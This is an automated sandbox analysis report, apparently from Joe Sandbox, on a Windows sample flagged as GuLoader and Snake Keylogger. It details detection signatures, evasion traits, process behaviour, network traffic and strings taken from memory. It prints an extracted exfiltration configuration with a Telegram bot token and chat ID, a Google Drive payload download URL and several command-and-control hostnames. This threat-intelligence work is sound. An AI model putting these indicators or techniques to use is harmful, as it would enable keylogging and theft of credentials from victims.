Edit tour

Windows Analysis Report
DNNueAb5UZ.exe

Overview

General Information

Sample name:	DNNueAb5UZ.exe renamed because original name is a hash value
Original sample name:	63e3936903bc65ce779ef8b852fbd0e0f92167b2d571c09dd92bc8b2f8fb16a4.exe
Analysis ID:	1632222
MD5:	1f3c24498ead0b5bb12be0fb2a21aba8
SHA1:	5ae261e3568b4f994a087f4b545e555dbcb1ce03
SHA256:	63e3936903bc65ce779ef8b852fbd0e0f92167b2d571c09dd92bc8b2f8fb16a4
Tags:	exeGuLoaderuser-adrian__luca
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Yara detected Snake Keylogger

Joe Sandbox ML detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

DNNueAb5UZ.exe (PID: 5580 cmdline: "C:\Users\user\Desktop\DNNueAb5UZ.exe" MD5: 1F3C24498EAD0B5BB12BE0FB2A21ABA8)

DNNueAb5UZ.exe (PID: 7784 cmdline: "C:\Users\user\Desktop\DNNueAb5UZ.exe" MD5: 1F3C24498EAD0B5BB12BE0FB2A21ABA8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-usering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7985048972:AAETw71DlbcHqzvtl1F1nkzl_0aMbnCis_c", "Chat_id": "7794818739", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.2503573322.0000000036EB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2127281248.0000000007B27000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: DNNueAb5UZ.exe PID: 5580	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T21:08:25.761232+0100	2803305	3	Unknown Traffic	192.168.2.6	49693	104.21.112.1	443	TCP
2025-03-07T21:08:28.880655+0100	2803305	3	Unknown Traffic	192.168.2.6	49695	104.21.112.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T21:08:20.263553+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49691	132.226.8.169	80	TCP
2025-03-07T21:08:23.246411+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49691	132.226.8.169	80	TCP
2025-03-07T21:08:26.793256+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49694	132.226.8.169	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T21:08:11.602139+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	49689	142.250.185.238	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: DNNueAb5UZ.exe

Avira: detected

Found malware configuration

Source: 00000009.00000002.2503573322.0000000036EB1000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Token": "7985048972:AAETw71DlbcHqzvtl1F1nkzl_0aMbnCis_c", "Chat_id": "7794818739", "Version": "4.4"}

Multi AV Scanner detection for submitted file

Source: DNNueAb5UZ.exe	Virustotal: Detection: 73%			Perma Link
Source: DNNueAb5UZ.exe	ReversingLabs: Detection: 55%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: DNNueAb5UZ.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49692 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 142.250.185.238:443 -> 192.168.2.6:49689 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.225:443 -> 192.168.2.6:49690 version: TLS 1.2

Source: DNNueAb5UZ.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 0_2_00405FFD FindFirstFileA,FindClose,	0_2_00405FFD
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 0_2_0040559B GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_0040559B
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 0_2_00402688 FindFirstFileA,	0_2_00402688
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_00405FFD FindFirstFileA,FindClose,	9_2_00405FFD
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_00402688 FindFirstFileA,	9_2_00402688
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_0040559B GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	9_2_0040559B

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49694 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49691 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49695 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49693 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49689 -> 142.250.185.238:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1G5-zM6LVeauFMXFUnDmZ00MCvbc_b31K HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1G5-zM6LVeauFMXFUnDmZ00MCvbc_b31K&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49692 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1G5-zM6LVeauFMXFUnDmZ00MCvbc_b31K HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1G5-zM6LVeauFMXFUnDmZ00MCvbc_b31K&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org

Source: DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036EB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036EB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000037008000.00000004.00000800.00020000.00000000.sdmp, DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036FFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000037008000.00000004.00000800.00020000.00000000.sdmp, DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036FFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036EB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: DNNueAb5UZ.exe, DNNueAb5UZ.exe, 00000009.00000002.2475851759.0000000000409000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: DNNueAb5UZ.exe, 00000000.00000000.1227266938.0000000000409000.00000008.00000001.01000000.00000003.sdmp, DNNueAb5UZ.exe, 00000000.00000002.2125156674.0000000000409000.00000004.00000001.01000000.00000003.sdmp, DNNueAb5UZ.exe, 00000009.00000002.2475851759.0000000000409000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036F86000.00000004.00000800.00020000.00000000.sdmp, DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036FFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036EB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036EB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: DNNueAb5UZ.exe, 00000009.00000003.2303982458.0000000006B22000.00000004.00000020.00020000.00000000.sdmp, DNNueAb5UZ.exe, 00000009.00000003.2303205087.0000000006AD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: DNNueAb5UZ.exe, 00000009.00000002.2483241749.0000000006A94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: DNNueAb5UZ.exe, 00000009.00000002.2483241749.0000000006A94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/S
Source: DNNueAb5UZ.exe, 00000009.00000002.2483225036.0000000006A50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1G5-zM6LVeauFMXFUnDmZ00MCvbc_b31K
Source: DNNueAb5UZ.exe, 00000009.00000003.2363286372.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, DNNueAb5UZ.exe, 00000009.00000002.2483241749.0000000006ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: DNNueAb5UZ.exe, 00000009.00000003.2363286372.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, DNNueAb5UZ.exe, 00000009.00000002.2483241749.0000000006ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/G4
Source: DNNueAb5UZ.exe, 00000009.00000003.2303982458.0000000006B22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1G5-zM6LVeauFMXFUnDmZ00MCvbc_b31K&export=download
Source: DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036FFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036FFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036FFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: DNNueAb5UZ.exe, 00000009.00000003.2303982458.0000000006B22000.00000004.00000020.00020000.00000000.sdmp, DNNueAb5UZ.exe, 00000009.00000003.2303205087.0000000006AD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: DNNueAb5UZ.exe, 00000009.00000003.2303982458.0000000006B22000.00000004.00000020.00020000.00000000.sdmp, DNNueAb5UZ.exe, 00000009.00000003.2303205087.0000000006AD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: DNNueAb5UZ.exe, 00000009.00000003.2303982458.0000000006B22000.00000004.00000020.00020000.00000000.sdmp, DNNueAb5UZ.exe, 00000009.00000003.2303205087.0000000006AD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: DNNueAb5UZ.exe, 00000009.00000003.2303982458.0000000006B22000.00000004.00000020.00020000.00000000.sdmp, DNNueAb5UZ.exe, 00000009.00000003.2303205087.0000000006AD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: DNNueAb5UZ.exe, 00000009.00000003.2303982458.0000000006B22000.00000004.00000020.00020000.00000000.sdmp, DNNueAb5UZ.exe, 00000009.00000003.2303205087.0000000006AD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49689
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443

Source: unknown	HTTPS traffic detected: 142.250.185.238:443 -> 192.168.2.6:49689 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.225:443 -> 192.168.2.6:49690 version: TLS 1.2

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

Code function: 0_2_00405050 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405050

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 0_2_004030D9 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004030D9
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_004030D9 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		9_2_004030D9

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 0_2_00406344	0_2_00406344
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 0_2_0040488F	0_2_0040488F
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_00406344	9_2_00406344
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_0040488F	9_2_0040488F
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_066CC738	9_2_066CC738
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_066C6FC8	9_2_066C6FC8
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_066CC468	9_2_066CC468
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_066C5370	9_2_066C5370
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_066CA088	9_2_066CA088
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_066CC146	9_2_066CC146
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_066C69A0	9_2_066C69A0
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_066C3E09	9_2_066C3E09
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_066C3A89	9_2_066C3A89
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_066C29EC	9_2_066C29EC

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

Code function: String function: 00402A3A appears 52 times

Source: DNNueAb5UZ.exe, 00000000.00000002.2125283612.0000000000436000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameundfangelsen resurceanvendelser.exeDVarFileInfo$ vs DNNueAb5UZ.exe
Source: DNNueAb5UZ.exe, 00000009.00000002.2475901985.0000000000436000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameundfangelsen resurceanvendelser.exeDVarFileInfo$ vs DNNueAb5UZ.exe

Source: DNNueAb5UZ.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.evad.winEXE@3/25@4/4

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 0_2_004030D9 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004030D9
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_004030D9 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		9_2_004030D9

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

Code function: 0_2_0040431C GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_0040431C

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

Code function: 0_2_0040205E CoCreateInstance,MultiByteToWideChar,

0_2_0040205E

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

File created: C:\Users\user\Slutafregningers175

Jump to behavior

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

File created: C:\Users\user\AppData\Local\Temp\nsh8A0B.tmp

Jump to behavior

Source: DNNueAb5UZ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: DNNueAb5UZ.exe	Virustotal: Detection: 73%
Source: DNNueAb5UZ.exe	ReversingLabs: Detection: 55%

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

File read: C:\Users\user\Desktop\DNNueAb5UZ.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\DNNueAb5UZ.exe "C:\Users\user\Desktop\DNNueAb5UZ.exe"
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process created: C:\Users\user\Desktop\DNNueAb5UZ.exe "C:\Users\user\Desktop\DNNueAb5UZ.exe"
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process created: C:\Users\user\Desktop\DNNueAb5UZ.exe "C:\Users\user\Desktop\DNNueAb5UZ.exe"	Jump to behavior

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: oleacc.dll	Jump to behavior
